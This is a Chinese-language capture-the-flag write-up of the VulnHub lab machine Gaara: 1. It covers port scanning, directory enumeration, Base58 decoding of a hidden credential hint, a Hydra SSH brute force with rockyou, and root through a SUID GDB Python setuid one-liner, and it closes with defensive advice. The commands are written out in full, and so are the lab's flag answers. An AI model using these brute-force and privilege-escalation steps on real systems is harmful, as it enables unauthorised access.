VulnHub Gaara: 1 通关记录|Base58 隐藏凭证、SSH 爆破与 SUID GDB 提权
靶机链接:Gaara: 1
0x01 基本信息
| 名称 | IP |
|---|---|
| Kali Linux | 192.168.1.113 |
| Gaara: 1 | 192.168.1.149 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp、80/tcp | 确定 SSH 和 Web 为主攻击面 |
| Web 枚举 | /Cryoserver → /Temari、/Kazekage、/iamGaara | 发现信息泄露入口 |
| 隐藏字符串 | /iamGaara 内嵌 f1MgN9mTf9SNbzRygcU | Base58 解码得 gaara:ismyname,确认用户名 |
| 初始访问 | Hydra SSH 爆破 gaara:iloveyou2 | 获得 user shell |
| 本地提权 | SUID /usr/bin/gdb + Python os.setuid(0) | 获得 root shell |
| 结果获取 | 读取 /home/gaara/flag.txt 和 /root/root.txt | 获得两枚 flag |
0x02 侦察与信息收集 (Reconnaissance)
1. RustScan 联动 Nmap
按惯例先用 RustScan 快速扫描全端口,再交给 Nmap 做版本识别和默认脚本探测:
rustscan -a 192.168.1.149 -- -sC -sV -O -oA ~/pentest/nmap_scan
首轮结果:
Open 192.168.1.149:22
Open 192.168.1.149:53
Open 192.168.1.149:80
Nmap 复核后的服务摘要:
| 端口 | 状态 | 服务 | 指纹 / 备注 |
|---|---|---|---|
22/tcp | open | SSH | OpenSSH 7.9p1 Debian 10+deb10u2 |
53/tcp | closed | DNS | RustScan 初始误报,Nmap 确认关闭 |
80/tcp | open | HTTP | Apache httpd 2.4.38 (Debian) |
由于 RustScan 仅发现 3 个端口,补充全端口扫描以排除遗漏:
nmap -p- --min-rate 10000 -T4 192.168.1.149
结果确认仅 22/tcp 和 80/tcp 真正开放。同时快速 UDP 扫描未发现可用服务。
2. Web 首页检查
curl -s http://192.168.1.149/
返回一个纯静态 index.html,页面仅包含一张来自 fanpop.com 的 Gaara(《火影忍者》角色)壁纸,标题为 Gaara。初步判断靶机主题围绕该角色展开。
3. Gobuster 目录枚举
使用中等规模字典进行目录爆破:
gobuster dir -u http://192.168.1.149 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -o ~/pentest/gobuster_medium.txt
关键发现:
index.html (Status: 200) [Size: 288]
server-status (Status: 403) [Size: 278]
Cryoserver (Status: 200) [Size: 327]
/Cryoserver 是唯一非默认路径,为后续信息收集的核心入口。
0x03 漏洞探测与分析 (Vulnerability Analysis)
1. /Cryoserver 目录列举
访问 /Cryoserver:
curl -s http://192.168.1.149/Cryoserver
返回内容(仅 327 字节,绝大部分为换行填充):
/Temari
/Kazekage
/iamGaara
这三个路径均以《火影忍者》中砂隐村相关角色命名,暗示靶机以 Gaara 故事线构建。
2. 内容分析与隐藏字符串发现
逐一访问三个路径并对比:
curl -s http://192.168.1.149/Temari > /tmp/temari.txt
curl -s http://192.168.1.149/Kazekage > /tmp/kazekage.txt
curl -s http://192.168.1.149/iamGaara > /tmp/iamgaara.txt
文件对比结果:
| 文件 | 大小 | MD5 | 备注 |
|---|---|---|---|
/Temari | 16077 bytes | ec58a42e... | 完整 Wikipedia Gaara 文章 |
/Kazekage | 16077 bytes | ec58a42e... | 与 Temari 完全相同(字节级一致) |
/iamGaara | 15899 bytes | 不同 | 缩短版文章,内嵌隐藏字符串 |
进一步差异比对:
diff /tmp/temari.txt /tmp/iamgaara.txt
grep -oE '[a-zA-Z0-9]{16,}' /tmp/iamgaara.txt
在 /iamGaara 第 13 行发现嵌入在正文中的异常字符串:
...provoking an enraged Gaara f1MgN9mTf9SNbzRygcU into breaking Lee's arm...
该字符串 f1MgN9mTf9SNbzRygcU 是被刻意插入到正常 Wikipedia 文本中的 token。
3. Base58 解码
尝试多种解码方案(Base64、Base32、Hex、ROT13/47)均未产生可读结果。最终 Base58(Bitcoin 编码)成功解码:
import base58
decoded = base58.b58decode('f1MgN9mTf9SNbzRygcU')
print(decoded) # b'gaara:ismyname'
编码验证:
re_encoded = base58.b58encode(b'gaara:ismyname').decode()
print(re_encoded) # f1MgN9mTf9SNbzRygcU ← 完全匹配
解码结果为 gaara:ismyname,确认:
- 用户名:
gaara - 线索:
ismyname(暗示密码是口令而非随机字符串)
4. 密码有效性验证
首先尝试解码结果直接登录 SSH:
sshpass -p 'ismyname' ssh gaara@192.168.1.149
结果: Permission denied。ismyname 并非直接密码,而是指向弱口令方向的提示。
定向字典构建与 Hydra 爆破:
# 构建 Naruto 主题定向字典
for pass in ismyname gaara Gaara kazekage temari naruto shukaku sand sunagakure love ai; do
echo $pass
done > /tmp/naruto_pass.txt
# 定向爆破
hydra -L /tmp/users.txt -P /tmp/naruto_pass.txt -t 4 -f ssh://192.168.1.149
定向字典未能命中,启动 Rockyou 全量爆破:
hydra -l gaara -P /usr/share/wordlists/rockyou.txt -t 4 -f -o ~/pentest/hydra_ssh.txt ssh://192.168.1.149
数分钟后爆破成功:
[22][ssh] host: 192.168.1.149 login: gaara password: iloveyou2
凭据: gaara : iloveyou2
0x04 核心攻击链:初始访问到 Root
第一阶段:SSH 初始访问 (Initial Foothold)
sshpass -p 'iloveyou2' ssh -o StrictHostKeyChecking=no gaara@192.168.1.149
验证权限:
id
# uid=1001(gaara) gid=1001(gaara) groups=1001(gaara)
hostname
# Gaara
uname -a
# Linux Gaara 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 GNU/Linux
第二阶段:User Flag 与本地枚举
User Flag:
cat /home/gaara/flag.txt
# 5451d3eb27acb16c652277d30945ab1e
Kazekage 线索文件:
cat /home/gaara/Kazekage.txt
# You can find Kazekage here....
# L3Vzci9sb2NhbC9nYW1lcw==
echo "L3Vzci9sb2NhbC9nYW1lcw==" | base64 -d
# /usr/local/games
该目录包含文件 .supersecret.txt(Brainfuck 编码的彩蛋,根权限后才可读)。
SUID 枚举:
find / -perm -4000 -type f 2>/dev/null
关键发现:
| SUID 二进制 | 权限 | 备注 |
|---|---|---|
/usr/bin/gdb | -rwsr-sr-x root root | 异常 SUID,正常系统不应出现 |
/usr/bin/gimp-2.10 | -rwsr-sr-x root root | 同样异常 |
GTFOBins 中,GDB 的 SUID 提权是经典技术。SUID GDB 的利用原理见知识库:GDB SUID 特权文件读取与命令执行。
第三阶段:SUID GDB 提权 (Privilege Escalation)
验证 GDB 的 root 权限上下文:
/usr/bin/gdb -nx -ex "python import os; os.system('whoami')" -ex quit
# root ← 确认 GDB 进程以 root 身份运行
GDB 进程本身以 root 运行,但其默认 shell 调用(!command)会降权。需通过 Python 接口直接调用 os.setuid(0) 获取完整的 root 上下文。
获取 root shell:
/usr/bin/gdb -nx -ex 'python import os; os.setuid(0); os.setgid(0); os.system("/bin/bash -c \"id\"")' -ex quit
# uid=0(root) gid=0(root) groups=0(root),1001(gaara)
确认获得完整 root 权限后,读取 root flag:
/usr/bin/gdb -nx -ex 'python import os; os.setuid(0); os.setgid(0); os.system("/bin/cat /root/root.txt")' -ex quit
彩蛋文件:
cat /usr/local/games/.supersecret.txt
内容为 Brainfuck 编码:
Godaime Kazekage:
+++++ +++[- >++++ ++++< ]>+++ +.<++ ++++[ ->+++ +++<] >+.-- ---.< +++++
[... 约 1200 字符 Brainfuck 代码 ...]
解码结果:
Did you really think you could find something that easily? Try Harder!
作者留下的恶搞彩蛋,暗示 ismyname 只是线索而非真实密码。
0x05 最终成果 (Final Flags)
User Flag
- 路径:
/home/gaara/flag.txt - 内容:
5451d3eb27acb16c652277d30945ab1e
Root Flag
- 路径:
/root/root.txt - 内容:
8a763d61f71db8e7aa237055de928d86 - ASCII Art 横幅:
██████╗ █████╗ █████╗ ██████╗ █████╗
██╔════╝ ██╔══██╗██╔══██╗██╔══██╗██╔══██╗
██║ ███╗███████║███████║██████╔╝███████║
██║ ██║██╔══██║██╔══██║██╔══██╗██╔══██║
╚██████╔╝██║ ██║██║ ██║██║ ██║██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝
- 作者:
@0xJin
复盘总结
Gaara 是一台入门级靶机,攻击链简洁清晰,适合练习常规渗透测试的基本流程:
攻击路径回顾
端口扫描 → Web 目录枚举 → 隐藏字符串发现 → Base58 解码 → SSH 弱口令爆破 → SUID GDB 提权 → Root
关键知识点
-
Base58 编码识别: 与 Base64 不同,Base58 的字符集为
123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz(排除0OIl易混淆字符),常用于 Bitcoin 地址。解码f1MgN9mTf9SNbzRygcU得到gaara:ismyname是一次典型的 CTF 隐藏凭证手法。 -
信息差异比对: 三个 Wikipedia 页面中,两个完全相同(Temari == Kazekage),一个包含隐藏字符串(iamGaara)。在 CTF 中,当发现多个相似页面时,应当用
diff或cmp做字节级对比。 -
ismyname的误导与iloveyou2的突破: Base58 解码结果为gaara:ismyname,但实际密码是iloveyou2。前者提供了用户名和方向提示(弱口令),真正的密码仍需通过字典爆破获得。这提醒我们:信息收集的结果可能是线索而非直接答案。 -
SUID GDB 提权: GDB 是 GTFOBins 中的经典 SUID 提权二进制。如果
/usr/bin/gdb设置了 SUID 位,利用 Python 接口调用os.setuid(0)即可获取 root shell。防守侧应避免将调试工具设置为 SUID。 -
Rockyou 的实战价值:
iloveyou2是 rockyou.txt 中的真实泄露密码,排在较前位置。对于 CTF 中的低权限用户,Rockyou 字典仍是最有效的第一次爆破尝试。
防守视角
- Web 服务器不应在公开页面的正文中嵌入凭证线索
- SSH 应禁用密码登录或强制强密码策略
/usr/bin/gdb绝不应设置 SUID 位;生产环境应移除所有调试工具的 SUID 权限- 用户家目录中的 flag 文件应限制为仅 root 可读
如果只看一句话总结,这题的本质就是:
隐藏字符串解码 + SSH 弱口令爆破 + SUID GDB 本地提权